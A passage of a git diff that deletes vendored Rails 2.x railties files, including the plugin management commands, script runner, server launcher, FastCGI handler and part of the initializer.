-        o.set_summary_indent('  ')
-        o.banner =    "Usage: #{@base_command.script_name} sources [OPTIONS] [PATTERN]"
-        o.define_head "List configured plugin repositories."
-        o.separator   ""        
-        o.separator   "Options:"
-        o.separator   ""
-        o.on(         "-c", "--check", 
-                      "Report status of repository.") { |sources| @sources = sources}
-      end
-    end
-    
-    def parse!(args)
-      options.parse!(args)
-      Repositories.each do |repo|
-        puts repo.uri
-      end
-    end
-  end
-  
-  
-  class Source
-    def initialize(base_command)
-      @base_command = base_command
-    end
-    
-    def options
-      OptionParser.new do |o|
-        o.set_summary_indent('  ')
-        o.banner =    "Usage: #{@base_command.script_name} source REPOSITORY [REPOSITORY [REPOSITORY]...]"
-        o.define_head "Add new repositories to the default search list."
-      end
-    end
-    
-    def parse!(args)
-      options.parse!(args)
-      count = 0
-      args.each do |uri|
-        if Repositories.instance.add(uri)
-          puts "added: #{uri.ljust(50)}" if $verbose
-          count += 1
-        else
-          puts "failed: #{uri.ljust(50)}"
-        end
-      end
-      Repositories.instance.save
-      puts "Added #{count} repositories."
-    end
-  end
-  
-  
-  class Unsource
-    def initialize(base_command)
-      @base_command = base_command
-    end
-    
-    def options
-      OptionParser.new do |o|
-        o.set_summary_indent('  ')
-        o.banner =    "Usage: #{@base_command.script_name} unsource URI [URI [URI]...]"
-        o.define_head "Remove repositories from the default search list."
-        o.separator ""
-        o.on_tail("-h", "--help", "Show this help message.") { puts o; exit }
-      end
-    end
-    
-    def parse!(args)
-      options.parse!(args)
-      count = 0
-      args.each do |uri|
-        if Repositories.instance.remove(uri)
-          count += 1
-          puts "removed: #{uri.ljust(50)}"
-        else
-          puts "failed: #{uri.ljust(50)}"
-        end
-      end
-      Repositories.instance.save
-      puts "Removed #{count} repositories."
-    end
-  end
-
-  
-  class Discover
-    def initialize(base_command)
-      @base_command = base_command
-      @list = false
-      @prompt = true
-    end
-    
-    def options
-      OptionParser.new do |o|
-        o.set_summary_indent('  ')
-        o.banner =    "Usage: #{@base_command.script_name} discover URI [URI [URI]...]"
-        o.define_head "Discover repositories referenced on a page."
-        o.separator   ""        
-        o.separator   "Options:"
-        o.separator   ""
-        o.on(         "-l", "--list", 
-                      "List but don't prompt or add discovered repositories.") { |list| @list, @prompt = list, !@list }
-        o.on(         "-n", "--no-prompt", 
-                      "Add all new repositories without prompting.") { |v| @prompt = !v }
-      end
-    end
-
-    def parse!(args)
-      options.parse!(args)
-      args = ['http://wiki.rubyonrails.org/rails/pages/Plugins'] if args.empty?
-      args.each do |uri|
-        scrape(uri) do |repo_uri|
-          catch(:next_uri) do
-            if @prompt
-              begin
-                $stdout.print "Add #{repo_uri}? [Y/n] "
-                throw :next_uri if $stdin.gets !~ /^y?$/i
-              rescue Interrupt
-                $stdout.puts
-                exit 1
-              end
-            elsif @list
-              puts repo_uri
-              throw :next_uri
-            end
-            Repositories.instance.add(repo_uri)
-            puts "discovered: #{repo_uri}" if $verbose or !@prompt
-          end
-        end
-      end
-      Repositories.instance.save
-    end
-    
-    def scrape(uri)
-      require 'open-uri'
-      puts "Scraping #{uri}" if $verbose
-      dupes = []
-      content = open(uri).each do |line|
-        begin
-          if line =~ /<a[^>]*href=['"]([^'"]*)['"]/ || line =~ /(svn:\/\/[^<|\n]*)/
-            uri = $1
-            if uri =~ /^\w+:\/\// && uri =~ /\/plugins\// && uri !~ /\/browser\// && uri !~ /^http:\/\/wiki\.rubyonrails/ && uri !~ /http:\/\/instiki/
-              uri = extract_repository_uri(uri)
-              yield uri unless dupes.include?(uri) || Repositories.instance.exist?(uri)
-              dupes << uri
-            end
-          end
-        rescue
-          puts "Problems scraping '#{uri}': #{$!.to_s}"
-        end
-      end
-    end
-    
-    def extract_repository_uri(uri)
-      uri.match(/(svn|https?):.*\/plugins\//i)[0]
-    end 
-  end
-  
-  class Install
-    def initialize(base_command)
-      @base_command = base_command
-      @method = :http
-      @options = { :quiet => false, :revision => nil, :force => false }
-    end
-    
-    def options
-      OptionParser.new do |o|
-        o.set_summary_indent('  ')
-        o.banner =    "Usage: #{@base_command.script_name} install PLUGIN [PLUGIN [PLUGIN] ...]"
-        o.define_head "Install one or more plugins."
-        o.separator   ""
-        o.separator   "Options:"
-        o.on(         "-x", "--externals", 
-                      "Use svn:externals to grab the plugin.", 
-                      "Enables plugin updates and plugin versioning.") { |v| @method = :externals }
-        o.on(         "-o", "--checkout",
-                      "Use svn checkout to grab the plugin.",
-                      "Enables updating but does not add a svn:externals entry.") { |v| @method = :checkout }
-        o.on(         "-e", "--export",
-                      "Use svn export to grab the plugin.",
-                      "Exports the plugin, allowing you to check it into your local repository. Does not enable updates, or add an svn:externals entry.") { |v| @method = :export }
-        o.on(         "-q", "--quiet",
-                      "Suppresses the output from installation.",
-                      "Ignored if -v is passed (./script/plugin -v install ...)") { |v| @options[:quiet] = true }
-        o.on(         "-r REVISION", "--revision REVISION",
-                      "Checks out the given revision from subversion or git.",
-                      "Ignored if subversion/git is not used.") { |v| @options[:revision] = v }
-        o.on(         "-f", "--force",
-                      "Reinstalls a plugin if it's already installed.") { |v| @options[:force] = true }
-        o.separator   ""
-        o.separator   "You can specify plugin names as given in 'plugin list' output or absolute URLs to "
-        o.separator   "a plugin repository."
-      end
-    end
-    
-    def determine_install_method
-      best = @base_command.environment.best_install_method
-      @method = :http if best == :http and @method == :export
-      case
-      when (best == :http and @method != :http)
-        msg = "Cannot install using subversion because `svn' cannot be found in your PATH"
-      when (best == :export and (@method != :export and @method != :http))
-        msg = "Cannot install using #{@method} because this project is not under subversion."
-      when (best != :externals and @method == :externals)
-        msg = "Cannot install using externals because vendor/plugins is not under subversion."
-      end
-      if msg
-        puts msg
-        exit 1
-      end
-      @method
-    end
-    
-    def parse!(args)
-      options.parse!(args)
-      environment = @base_command.environment
-      install_method = determine_install_method
-      puts "Plugins will be installed using #{install_method}" if $verbose
-      args.each do |name|
-        ::Plugin.find(name).install(install_method, @options)
-      end
-    rescue StandardError => e
-      puts "Plugin not found: #{args.inspect}"
-      puts e.inspect if $verbose
-      exit 1
-    end
-  end
-
-  class Update
-    def initialize(base_command)
-      @base_command = base_command
-    end
-   
-    def options
-      OptionParser.new do |o|
-        o.set_summary_indent('  ')
-        o.banner =    "Usage: #{@base_command.script_name} update [name [name]...]"
-        o.on(         "-r REVISION", "--revision REVISION",
-                      "Checks out the given revision from subversion.",
-                      "Ignored if subversion is not used.") { |v| @revision = v }
-        o.define_head "Update plugins."
-      end
-    end
-   
-    def parse!(args)
-      options.parse!(args)
-      root = @base_command.environment.root
-      cd root
-      args = Dir["vendor/plugins/*"].map do |f|
-        File.directory?("#{f}/.svn") ? File.basename(f) : nil
-      end.compact if args.empty?
-      cd "vendor/plugins"
-      args.each do |name|
-        if File.directory?(name)
-          puts "Updating plugin: #{name}"
-          system("svn #{$verbose ? '' : '-q'} up \"#{name}\" #{@revision ? "-r #{@revision}" : ''}")
-        else
-          puts "Plugin doesn't exist: #{name}"
-        end
-      end
-    end
-  end
-
-  class Remove
-    def initialize(base_command)
-      @base_command = base_command
-    end
-    
-    def options
-      OptionParser.new do |o|
-        o.set_summary_indent('  ')
-        o.banner =    "Usage: #{@base_command.script_name} remove name [name]..."
-        o.define_head "Remove plugins."
-      end
-    end
-    
-    def parse!(args)
-      options.parse!(args)
-      root = @base_command.environment.root
-      args.each do |name|
-        ::Plugin.new(name).uninstall
-      end
-    end
-  end
-
-  class Info
-    def initialize(base_command)
-      @base_command = base_command
-    end
-
-    def options
-      OptionParser.new do |o|
-        o.set_summary_indent('  ')
-        o.banner =    "Usage: #{@base_command.script_name} info name [name]..."
-        o.define_head "Shows plugin info at {url}/about.yml."
-      end
-    end
-
-    def parse!(args)
-      options.parse!(args)
-      args.each do |name|
-        puts ::Plugin.find(name).info
-        puts
-      end
-    end
-  end
-end
- 
-class RecursiveHTTPFetcher
-  attr_accessor :quiet
-  def initialize(urls_to_fetch, level = 1, cwd = ".")
-    @level = level
-    @cwd = cwd
-    @urls_to_fetch = RUBY_VERSION >= '1.9' ? urls_to_fetch.lines : urls_to_fetch.to_a
-    @quiet = false
-  end
-
-  def ls
-    @urls_to_fetch.collect do |url|
-      if url =~ /^svn(\+ssh)?:\/\/.*/
-        `svn ls #{url}`.split("\n").map {|entry| "/#{entry}"} rescue nil
-      else
-        open(url) do |stream|
-          links("", stream.read)
-        end rescue nil
-      end
-    end.flatten
-  end
-
-  def push_d(dir)
-    @cwd = File.join(@cwd, dir)
-    FileUtils.mkdir_p(@cwd)
-  end
-
-  def pop_d
-    @cwd = File.dirname(@cwd)
-  end
-
-  def links(base_url, contents)
-    links = []
-    contents.scan(/href\s*=\s*\"*[^\">]*/i) do |link|
-      link = link.sub(/href="/i, "")
-      next if link =~ /svnindex.xsl$/
-      next if link =~ /^(\w*:|)\/\// || link =~ /^\./
-      links << File.join(base_url, link)
-    end
-    links
-  end
-  
-  def download(link)
-    puts "+ #{File.join(@cwd, File.basename(link))}" unless @quiet
-    open(link) do |stream|
-      File.open(File.join(@cwd, File.basename(link)), "wb") do |file|
-        file.write(stream.read)
-      end
-    end
-  end
-  
-  def fetch(links = @urls_to_fetch)
-    links.each do |l|
-      (l =~ /\/$/ || links == @urls_to_fetch) ? fetch_dir(l) : download(l)
-    end
-  end
-  
-  def fetch_dir(url)
-    @level += 1
-    push_d(File.basename(url)) if @level > 0
-    open(url) do |stream|
-      contents =  stream.read
-      fetch(links(url, contents))
-    end
-    pop_d if @level > 0
-    @level -= 1
-  end
-end
-
-Commands::Plugin.parse!
diff --git a/vendor/rails/railties/lib/commands/runner.rb b/vendor/rails/railties/lib/commands/runner.rb
deleted file mode 100644
index 5a4f244c..00000000
--- a/vendor/rails/railties/lib/commands/runner.rb
+++ /dev/null
@@ -1,54 +0,0 @@
-require 'optparse'
-
-options = { :environment => (ENV['RAILS_ENV'] || "development").dup }
-code_or_file = nil
-
-ARGV.clone.options do |opts|
-  script_name = File.basename($0)
-  opts.banner = "Usage: #{$0} [options] ('Some.ruby(code)' or a filename)"
-
-  opts.separator ""
-
-  opts.on("-e", "--environment=name", String,
-          "Specifies the environment for the runner to operate under (test/development/production).",
-          "Default: development") { |v| options[:environment] = v }
-
-  opts.separator ""
-
-  opts.on("-h", "--help",
-          "Show this help message.") { $stderr.puts opts; exit }
-
-  if RUBY_PLATFORM !~ /(:?mswin|mingw)/
-    opts.separator ""
-    opts.separator "You can also use runner as a shebang line for your scripts like this:"
-    opts.separator "-------------------------------------------------------------"
-    opts.separator "#!/usr/bin/env #{File.expand_path($0)}"
-    opts.separator ""
-    opts.separator "Product.find(:all).each { |p| p.price *= 2 ; p.save! }"
-    opts.separator "-------------------------------------------------------------"
-  end
-
-  opts.order! { |o| code_or_file ||= o } rescue retry
-end
-
-ARGV.delete(code_or_file)
-
-ENV["RAILS_ENV"] = options[:environment]
-RAILS_ENV.replace(options[:environment]) if defined?(RAILS_ENV)
-
-require RAILS_ROOT + '/config/environment'
-
-begin
-  if code_or_file.nil?
-    $stderr.puts "Run '#{$0} -h' for help."
-    exit 1
-  elsif File.exist?(code_or_file)
-    eval(File.read(code_or_file), nil, code_or_file)
-  else
-    eval(code_or_file)
-  end
-ensure
-  if defined? Rails
-    Rails.logger.flush if Rails.logger.respond_to?(:flush)
-  end
-end
diff --git a/vendor/rails/railties/lib/commands/server.rb b/vendor/rails/railties/lib/commands/server.rb
deleted file mode 100644
index ebe34a42..00000000
--- a/vendor/rails/railties/lib/commands/server.rb
+++ /dev/null
@@ -1,114 +0,0 @@
-require 'active_support'
-require 'action_controller'
-
-require 'fileutils'
-require 'optparse'
-
-# TODO: Push Thin adapter upstream so we don't need worry about requiring it
-begin
-  require_library_or_gem 'thin'
-rescue Exception
-  # Thin not available
-end
-
-options = {
-  :Port        => 3000,
-  :Host        => "0.0.0.0",
-  :environment => (ENV['RAILS_ENV'] || "development").dup,
-  :config      => RAILS_ROOT + "/config.ru",
-  :detach      => false,
-  :debugger    => false,
-  :path        => nil
-}
-
-ARGV.clone.options do |opts|
-  opts.on("-p", "--port=port", Integer,
-          "Runs Rails on the specified port.", "Default: 3000") { |v| options[:Port] = v }
-  opts.on("-b", "--binding=ip", String,
-          "Binds Rails to the specified ip.", "Default: 0.0.0.0") { |v| options[:Host] = v }
-  opts.on("-c", "--config=file", String,
-          "Use custom rackup configuration file") { |v| options[:config] = v }
-  opts.on("-d", "--daemon", "Make server run as a Daemon.") { options[:detach] = true }
-  opts.on("-u", "--debugger", "Enable ruby-debugging for the server.") { options[:debugger] = true }
-  opts.on("-e", "--environment=name", String,
-          "Specifies the environment to run this server under (test/development/production).",
-          "Default: development") { |v| options[:environment] = v }
-  opts.on("-P", "--path=/path", String, "Runs Rails app mounted at a specific path.", "Default: /") { |v| options[:path] = v }
-
-  opts.separator ""
-
-  opts.on("-h", "--help", "Show this help message.") { puts opts; exit }
-
-  opts.parse!
-end
-
-server = Rack::Handler.get(ARGV.first) rescue nil
-unless server
-  begin
-    server = Rack::Handler::Mongrel
-  rescue LoadError => e
-    server = Rack::Handler::WEBrick
-  end
-end
-
-puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}"
-puts "=> Rails #{Rails.version} application starting on http://#{options[:Host]}:#{options[:Port]}#{options[:path]}"
-
-%w(cache pids sessions sockets).each do |dir_to_make|
-  FileUtils.mkdir_p(File.join(RAILS_ROOT, 'tmp', dir_to_make))
-end
-
-if options[:detach]
-  Process.daemon
-  pid = "#{RAILS_ROOT}/tmp/pids/server.pid"
-  File.open(pid, 'w'){ |f| f.write(Process.pid) }
-  at_exit { File.delete(pid) if File.exist?(pid) }
-end
-
-ENV["RAILS_ENV"] = options[:environment]
-RAILS_ENV.replace(options[:environment]) if defined?(RAILS_ENV)
-
-if File.exist?(options[:config])
-  config = options[:config]
-  if config =~ /\.ru$/
-    cfgfile = File.read(config)
-    if cfgfile[/^#\\(.*)/]
-      opts.parse!($1.split(/\s+/))
-    end
-    inner_app = eval("Rack::Builder.new {( " + cfgfile + "\n )}.to_app", nil, config)
-  else
-    require config
-    inner_app = Object.const_get(File.basename(config, '.rb').capitalize)
-  end
-else
-  require RAILS_ROOT + "/config/environment"
-  inner_app = ActionController::Dispatcher.new
-end
-
-if options[:path].nil?
-  map_path = "/"
-else
-  ActionController::Base.relative_url_root = options[:path]
-  map_path = options[:path]
-end
-
-app = Rack::Builder.new {
-  use Rails::Rack::LogTailer unless options[:detach]
-  use Rails::Rack::Debugger if options[:debugger]
-  map map_path do
-    use Rails::Rack::Static 
-    run inner_app
-  end
-}.to_app
-
-puts "=> Call with -d to detach"
-
-trap(:INT) { exit }
-
-puts "=> Ctrl-C to shutdown server"
-
-begin
-  server.run(app, options.merge(:AccessLog => []))
-ensure
-  puts 'Exiting'
-end
diff --git a/vendor/rails/railties/lib/commands/update.rb b/vendor/rails/railties/lib/commands/update.rb
deleted file mode 100644
index 83ef8333..00000000
--- a/vendor/rails/railties/lib/commands/update.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-require "#{RAILS_ROOT}/config/environment"
-require 'rails_generator'
-require 'rails_generator/scripts/update'
-Rails::Generator::Scripts::Update.new.run(ARGV)
diff --git a/vendor/rails/railties/lib/console_app.rb b/vendor/rails/railties/lib/console_app.rb
deleted file mode 100644
index d7d01d70..00000000
--- a/vendor/rails/railties/lib/console_app.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-require 'active_support/test_case'
-require 'action_controller'
-
-# work around the at_exit hook in test/unit, which kills IRB
-Test::Unit.run = true if Test::Unit.respond_to?(:run=)
-
-# reference the global "app" instance, created on demand. To recreate the
-# instance, pass a non-false value as the parameter.
-def app(create=false)
-  @app_integration_instance = nil if create
-  @app_integration_instance ||= new_session do |sess|
-    sess.host! "www.example.com"
-  end
-end
-
-# create a new session. If a block is given, the new session will be yielded
-# to the block before being returned.
-def new_session
-  session = ActionController::Integration::Session.new
-  yield session if block_given?
-  session
-end
-
-#reloads the environment
-def reload!
-  puts "Reloading..."
-  Dispatcher.cleanup_application
-  Dispatcher.reload_application
-  true
-end
diff --git a/vendor/rails/railties/lib/console_sandbox.rb b/vendor/rails/railties/lib/console_sandbox.rb
deleted file mode 100644
index 65a3d686..00000000
--- a/vendor/rails/railties/lib/console_sandbox.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-ActiveRecord::Base.connection.increment_open_transactions
-ActiveRecord::Base.connection.begin_db_transaction
-at_exit do
-  ActiveRecord::Base.connection.rollback_db_transaction
-  ActiveRecord::Base.connection.decrement_open_transactions
-end
diff --git a/vendor/rails/railties/lib/console_with_helpers.rb b/vendor/rails/railties/lib/console_with_helpers.rb
deleted file mode 100644
index 039db667..00000000
--- a/vendor/rails/railties/lib/console_with_helpers.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-def helper
-  @helper ||= ApplicationController.helpers
-end
-
-@controller = ApplicationController.new
diff --git a/vendor/rails/railties/lib/dispatcher.rb b/vendor/rails/railties/lib/dispatcher.rb
deleted file mode 100644
index 1ca635f8..00000000
--- a/vendor/rails/railties/lib/dispatcher.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-#--
-# Copyright (c) 2004-2010 David Heinemeier Hansson
-#
-# Permission is hereby granted, free of charge, to any person obtaining
-# a copy of this software and associated documentation files (the
-# "Software"), to deal in the Software without restriction, including
-# without limitation the rights to use, copy, modify, merge, publish,
-# distribute, sublicense, and/or sell copies of the Software, and to
-# permit persons to whom the Software is furnished to do so, subject to
-# the following conditions:
-#
-# The above copyright notice and this permission notice shall be
-# included in all copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-#++
-require 'action_controller/dispatcher'
-Dispatcher = ActionController::Dispatcher
diff --git a/vendor/rails/railties/lib/fcgi_handler.rb b/vendor/rails/railties/lib/fcgi_handler.rb
deleted file mode 100644
index 0cd2dc51..00000000
--- a/vendor/rails/railties/lib/fcgi_handler.rb
+++ /dev/null
@@ -1,239 +0,0 @@
-require 'fcgi'
-require 'logger'
-require 'dispatcher'
-require 'rbconfig'
-
-class RailsFCGIHandler
-  SIGNALS = {
-    'HUP'     => :reload,
-    'INT'     => :exit_now,
-    'TERM'    => :exit_now,
-    'USR1'    => :exit,
-    'USR2'    => :restart
-  }
-  GLOBAL_SIGNALS = SIGNALS.keys - %w(USR1)
-
-  attr_reader :when_ready
-
-  attr_accessor :log_file_path
-  attr_accessor :gc_request_period
-
-  # Initialize and run the FastCGI instance, passing arguments through to new.
-  def self.process!(*args, &block)
-    new(*args, &block).process!
-  end
-
-  # Initialize the FastCGI instance with the path to a crash log
-  # detailing unhandled exceptions (default RAILS_ROOT/log/fastcgi.crash.log)
-  # and the number of requests to process between garbage collection runs
-  # (default nil for normal GC behavior.)  Optionally, pass a block which
-  # takes this instance as an argument for further configuration.
-  def initialize(log_file_path = nil, gc_request_period = nil)
-    self.log_file_path = log_file_path || "#{RAILS_ROOT}/log/fastcgi.crash.log"
-    self.gc_request_period = gc_request_period
-
-    # Yield for additional configuration.
-    yield self if block_given?
-
-    # Safely install signal handlers.
-    install_signal_handlers
-
-    @app = Dispatcher.new
-
-    # Start error timestamp at 11 seconds ago.
-    @last_error_on = Time.now - 11
-  end
-
-  def process!(provider = FCGI)
-    mark_features!
-
-    dispatcher_log :info, 'starting'
-    process_each_request provider
-    dispatcher_log :info, 'stopping gracefully'
-
-  rescue Exception => error
-    case error
-    when SystemExit
-      dispatcher_log :info, 'stopping after explicit exit'
-    when SignalException
-      dispatcher_error error, 'stopping after unhandled signal'
-    else
-      # Retry if exceptions occur more than 10 seconds apart.
-      if Time.now - @last_error_on > 10
-        @last_error_on = Time.now
-        dispatcher_error error, 'retrying after unhandled exception'
-        retry
-      else
-        dispatcher_error error, 'stopping after unhandled exception within 10 seconds of the last'
-      end
-    end
-  end
-
-  protected
-    def process_each_request(provider)
-      request = nil
-
-      catch :exit do
-        provider.each do |request|
-          process_request(request)
-
-          case when_ready
-            when :reload
-              reload!
-            when :restart
-              close_connection(request)
-              restart!
-            when :exit
-              close_connection(request)
-              throw :exit
-          end
-        end
-      end
-    rescue SignalException => signal
-      raise unless signal.message == 'SIGUSR1'
-      close_connection(request)
-    end
-
-    def process_request(request)
-      @processing, @when_ready = true, nil
-      gc_countdown
-
-      with_signal_handler 'USR1' do
-        begin
-          ::Rack::Handler::FastCGI.serve(request, @app)
-        rescue SignalException, SystemExit
-          raise
-        rescue Exception => error
-          dispatcher_error error, 'unhandled dispatch error'
-        end
-      end
-    ensure
-      @processing = false
-    end
-
-    def logger
-      @logger ||= Logger.new(@log_file_path)
-    end
-
-    def dispatcher_log(level, msg)
-      time_str = Time.now.strftime("%d/%b/%Y:%H:%M:%S")
-      logger.send(level, "[#{time_str} :: #{$$}] #{msg}")
-    rescue Exception => log_error  # Logger errors
-      STDERR << "Couldn't write to #{@log_file_path.inspect}: #{msg}\n"
-      STDERR << "  #{log_error.class}: #{log_error.message}\n"
-    end
-
-    def dispatcher_error(e, msg = "")
-      error_message =
-        "Dispatcher failed to catch: #{e} (#{e.class})\n" +
-        "  #{e.backtrace.join("\n  ")}\n#{msg}"
-      dispatcher_log(:error, error_message)
-    end
-
-    def install_signal_handlers
-      GLOBAL_SIGNALS.each { |signal| install_signal_handler(signal) }
-    end
-
-    def install_signal_handler(signal, handler = nil)
-      if SIGNALS.include?(signal) && self.class.method_defined?(name = "#{SIGNALS[signal]}_handler")
-        handler ||= method(name).to_proc
-
-        begin
-          trap(signal, handler)
-        rescue ArgumentError
-          dispatcher_log :warn, "Ignoring unsupported signal #{signal}."
-        end
-      else
-        dispatcher_log :warn, "Ignoring unsupported signal #{signal}."
-      end
-    end
-
-    def with_signal_handler(signal)
-      install_signal_handler(signal)
-      yield
-    ensure
-      install_signal_handler(signal, 'DEFAULT')
-    end
-
-    def exit_now_handler(signal)
-      dispatcher_log :info, "asked to stop immediately"
-      exit
-    end
-
-    def exit_handler(signal)
-      dispatcher_log :info, "asked to stop ASAP"
-      if @processing
-        @when_ready = :exit
-      else
-        throw :exit
-      end
-    end
-
-    def reload_handler(signal)
-      dispatcher_log :info, "asked to reload ASAP"
-      if @processing
-        @when_ready = :reload
-      else
-        reload!
-      end
-    end
-
-    def restart_handler(signal)
-      dispatcher_log :info, "asked to restart ASAP"
-      if @processing
-        @when_ready = :restart
-      else
-        restart!
-      end
-    end
-
-    def restart!
-      config       = ::Config::CONFIG
-      ruby         = File::join(config['bindir'], config['ruby_install_name']) + config['EXEEXT']
-      command_line = [ruby, $0, ARGV].flatten.join(' ')
-
-      dispatcher_log :info, "restarted"
-
-      # close resources as they won't be closed by
-      # the OS when using exec
-      logger.close rescue nil
-      Rails.logger.close rescue nil
-
-      exec(command_line)
-    end
-
-    def reload!
-      run_gc! if gc_request_period
-      restore!
-      @when_ready = nil
-      dispatcher_log :info, "reloaded"
-    end
-
-    # Make a note of $" so we can safely reload this instance.
-    def mark_features!
-      @features = $".clone
-    end
-
-    def restore!
-      $".replace @features
-      Dispatcher.reset_application!
-      ActionController::Routing::Routes.reload
-    end
-
-    def run_gc!
-      @gc_request_countdown = gc_request_period
-      GC.enable; GC.start; GC.disable
-    end
-
-    def gc_countdown
-      if gc_request_period
-        @gc_request_countdown ||= gc_request_period
-        @gc_request_countdown -= 1
-        run_gc! if @gc_request_countdown <= 0
-      end
-    end
-
-    def close_connection(request)
-      request.finish if request
-    end
-end
diff --git a/vendor/rails/railties/lib/initializer.rb b/vendor/rails/railties/lib/initializer.rb
deleted file mode 100644
index fc68d005..00000000
--- a/vendor/rails/railties/lib/initializer.rb
+++ /dev/null
@@ -1,1152 +0,0 @@
-require 'logger'
-require 'set'
-require 'pathname'
-
-$LOAD_PATH.unshift File.dirname(__FILE__)
-require 'railties_path'
-require 'rails/version'
-require 'rails/plugin/locator'
-require 'rails/plugin/loader'
-require 'rails/gem_dependency'
-require 'rails/rack'
-
-
-RAILS_ENV = (ENV['RAILS_ENV'] || 'development').dup unless defined?(RAILS_ENV)
-
-module Rails
-  class << self
-    # The Configuration instance used to configure the Rails environment
-    def configuration
-      @@configuration
-    end
-
-    def configuration=(configuration)
-      @@configuration = configuration
-    end
-
-    def initialized?
-      @initialized || false
-    end
-
-    def initialized=(initialized)
-      @initialized ||= initialized
-    end
-
-    def logger
-      if defined?(RAILS_DEFAULT_LOGGER)
-        RAILS_DEFAULT_LOGGER
-      else
-        nil
-      end
-    end
-
-    def backtrace_cleaner
-      @@backtrace_cleaner ||= begin
-        # Relies on ActiveSupport, so we have to lazy load to postpone definition until AS has been loaded
-        require 'rails/backtrace_cleaner'
-        Rails::BacktraceCleaner.new
-      end
-    end
-
-    def root
-      Pathname.new(RAILS_ROOT) if defined?(RAILS_ROOT)
-    end
-
-    def env
-      @_env ||= ActiveSupport::StringInquirer.new(RAILS_ENV)
-    end
-
-    def cache
-      RAILS_CACHE
-    end
-
-    def version
-      VERSION::STRING
-    end
-
-    def public_path
-      @@public_path ||= self.root ? File.join(self.root, "public") : "public"
-    end
-
-    def public_path=(path)
-      @@public_path = path
-    end
-  end
-
-  # The Initializer is responsible for processing the Rails configuration, such
-  # as setting the $LOAD_PATH, requiring the right frameworks, initializing
-  # logging, and more. It can be run either as a single command that'll just
-  # use the default configuration, like this:
-  #
-  #   Rails::Initializer.run
-  #
-  # But normally it's more interesting to pass in a custom configuration
-  # through the block running:
-  #
-  #   Rails::Initializer.run do |config|
-  #     config.frameworks -= [ :action_mailer ]
-  #   end
-  #
-  # This will use the default configuration options from Rails::Configuration,
-  # but allow for overwriting on select areas.
-  class Initializer
-    # The Configuration instance used by this Initializer instance.
-    attr_reader :configuration
-
-    # The set of loaded plugins.
-    attr_reader :loaded_plugins
-
-    # Whether or not all the gem dependencies have been met
-    attr_reader :gems_dependencies_loaded
-
-    # Runs the initializer. By default, this will invoke the #process method,
-    # which simply executes all of the initialization routines. Alternately,
-    # you can specify explicitly which initialization routine you want:
-    #
-    #   Rails::Initializer.run(:set_load_path)
-    #
-    # This is useful if you only want the load path initialized, without
-    # incurring the overhead of completely loading the entire environment.
-    def self.run(command = :process, configuration = Configuration.new)
-      yield configuration if block_given?
-      initializer = new configuration
-      initializer.send(command)
-      initializer
-    end
-
-    # Create a new Initializer instance that references the given Configuration
-    # instance.
-    def initialize(configuration)
-      @configuration = configuration
-      @loaded_plugins = []
-    end
-
-    # Sequentially step through all of the available initialization routines,
-    # in order (view execution order in source).
-    def process
-      Rails.configuration = configuration
-
-      check_ruby_version
-      install_gem_spec_stubs
-      set_load_path
-      add_gem_load_paths
-
-      require_frameworks
-      set_autoload_paths
-      add_plugin_load_paths
-      load_environment
-      preload_frameworks
-
-      initialize_encoding
-      initialize_database
-
-      initialize_cache
-      initialize_framework_caches
-
-      initialize_logger
-      initialize_framework_logging
-
-      initialize_dependency_mechanism
-      initialize_whiny_nils
-
-      initialize_time_zone
-      initialize_i18n
-
-      initialize_framework_settings
-      initialize_framework_views
-
-      initialize_metal
-
-      add_support_load_paths
-
-      check_for_unbuilt_gems
-
-      load_gems
-      load_plugins
-
-      # pick up any gems that plugins depend on
-      add_gem_load_paths
-      load_gems
-      check_gem_dependencies
-
-      # bail out if gems are missing - note that check_gem_dependencies will have
-      # already called abort() unless $gems_rake_task is set
-      return unless gems_dependencies_loaded
-
-      load_application_initializers
-
-      # the framework is now fully initialized
-      after_initialize
-
-      # Setup database middleware after initializers have run
-      initialize_database_middleware
-
-      # Prepare dispatcher callbacks and run 'prepare' callbacks
-      prepare_dispatcher
-
-      # Routing must be initialized after plugins to allow the former to extend the routes
-      initialize_routing
-
-      # Observers are loaded after plugins in case Observers or observed models are modified by plugins.
-      load_observers
-
-      # Load view path cache
-      load_view_paths
-
-      # Load application classes
-      load_application_classes
-
-      # Disable dependency loading during request cycle
-      disable_dependency_loading
-
-      # Flag initialized
-      Rails.initialized = true
-    end
-
-    # Check for valid Ruby version
-    # This is done in an external file, so we can use it
-    # from the `rails` program as well without duplication.
-    def check_ruby_version
-      require 'ruby_version_check'
-    end
-
-    # If Rails is vendored and RubyGems is available, install stub GemSpecs
-    # for Rails, Active Support, Active Record, Action Pack, Action Mailer, and
-    # Active Resource. This allows Gem plugins to depend on Rails even when
-    # the Gem version of Rails shouldn't be loaded.
-    def install_gem_spec_stubs
-      unless Rails.respond_to?(:vendor_rails?)
-        abort %{Your config/boot.rb is outdated: Run "rake rails:update".}
-      end
-
-      if Rails.vendor_rails?
-        begin; require "rubygems"; rescue LoadError; return; end
-
-        stubs = %w(rails activesupport activerecord actionpack actionmailer activeresource)
-        stubs.reject! { |s| Gem.loaded_specs.key?(s) }
-
-        stubs.each do |stub|
-          Gem.loaded_specs[stub] = Gem::Specification.new do |s|
-            s.name = stub
-            s.version = Rails::VERSION::STRING
-            s.loaded_from = ""
-          end
-        end
-      end
-    end
-
-    # Set the <tt>$LOAD_PATH</tt> based on the value of
-    # Configuration#autoload_paths. Duplicates are removed.
-    def set_load_path
-      load_paths = configuration.autoload_paths + configuration.framework_paths
-      load_paths.reverse_each { |dir| $LOAD_PATH.unshift(dir) if File.directory?(dir) }
-      $LOAD_PATH.uniq!
-    end
-
-    # Set the paths from which Rails will automatically load source files, and
